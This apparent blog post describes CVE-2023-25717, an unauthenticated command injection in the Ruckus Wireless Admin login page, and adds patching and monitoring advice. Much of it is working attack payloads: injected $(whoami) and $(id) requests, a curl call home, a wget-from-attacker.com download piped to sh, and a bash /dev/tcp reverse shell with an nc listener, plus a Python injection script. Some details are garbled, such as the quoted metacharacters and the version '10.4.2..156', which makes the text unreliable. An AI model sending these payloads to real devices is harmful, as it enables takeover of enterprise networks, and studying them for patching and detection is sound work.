CVE-2023-25717 - Ruckus Wireless Admin Remote Code Execution (RCE) via Unauthenticated HTTP GET

_CVE-2023-25717_ is a critical remote code execution (RCE) vulnerability discovered in Ruckus Wireless Admin web interface through version 10.4. This flaw allows any remote attacker to execute arbitrary system commands without authentication — simply by sending a specially crafted HTTP GET request. Below, we’ll walk through the discovery, affected systems, proof-of-concept (PoC) exploit, and mitigation steps. This post is exclusive content - written simply, focused on maximize understanding.

What is Ruckus Wireless Admin?

Ruckus builds enterprise-grade networking hardware (Wi-Fi controllers and access points) used in colleges, hotels, and businesses worldwide. The _Ruckus Wireless Admin_ interface is the management console where admins configure Wi-Fi and guest accounts. If an attacker can run code on this interface, the entire network can be breached.

About CVE-2023-25717

This vulnerability lets anyone run arbitrary OS commands—no login needed. The underlying cause is improper handling of input from login fields: the input gets passed directly into a system command without sanitizing special characters.

GET /forms/doLogin?login_username=admin&password=password HTTP/1.1
Host: [target_ip]

But here's the catch: if the password contains shell metacharacters, the backend PHP code executes that text in a system shell.

2. The Injection

Attackers discovered that using backticks () or $()` in the password parameter leads to command injection. Here’s the simplest exploit:

Proof-of-Concept (PoC)

GET /forms/doLogin?login_username=admin&password=password$(whoami) HTTP/1.1
Host: [target_ip]

The server will execute whoami and its output gets appended to the response.

Or, run a remote command (e.g., call home to your server)

GET /forms/doLogin?login_username=admin&password=password$(curl yourdomain/own) HTTP/1.1
Host: [target_ip]

Anything following $(...) gets run as a command.

You could run a wget or curl command to fetch a reverse shell script

GET /forms/doLogin?login_username=admin&password=password$(wget http://attacker.com/shell.sh -O- | sh) HTTP/1.1
Host: [target_ip]

Or, simpler, create a basic reverse shell (works on most Linux-based appliances)

GET /forms/doLogin?login_username=admin&password=password$(bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 >&1') HTTP/1.1
Host: [target_ip]

Listen on your machine

nc -lvnp 4444

Just send the crafted GET request, and you have a shell on the device—no password needed.

Original References

- NIST NVD Entry — CVE-2023-25717
- Exploit-DB #52322
- Full Disclosure mailing list: PoC announcements
- Ruckus Security Advisory _(official response and patch info)_

If you manage Ruckus Wireless gear

1. Update immediately to version 10.4.2..156 or higher — available on the Ruckus Support Portal.

Restrict admin interface access _only_ to trusted IPs (via firewalls).

3. Monitor logs for unusual /forms/doLogin usage or unexpected outbound requests.

_No authentication required_: Anyone can run a command.

- _Full device compromise_: Leaks Wi-Fi passwords, allows man-in-the-middle attacks, persistence, or network pivoting.

Final Words

CVE-2023-25717 is easy to exploit and hard to detect before it’s too late. If you haven’t already, patch your Ruckus controllers today and go hunting for any signs of past compromise. Luckily, with the steps above, you can test your own system safely and stay protected.

Sample Test Script (for admins)

import requests

target = 'http://[target_ip]/forms/doLogin';
payload = 'password$(id)'
params = {
    'login_username': 'admin',
    'password': payload
}

r = requests.get(target, params=params)
print(r.text)

*Replace [target_ip] with the device’s address. Test responsibly on your own hardware only.*

Stay Safe & Updated

- Monitor: https://nvd.nist.gov/vuln/detail/CVE-2023-25717
- Patch: https://support.ruckuswireless.com/

Have questions or need help with detection/remediation? Drop them in the comments below. Stay secure!

Timeline

Published on: 02/13/2023 20:15:00 UTC
Last modified on: 02/23/2023 16:26:00 UTC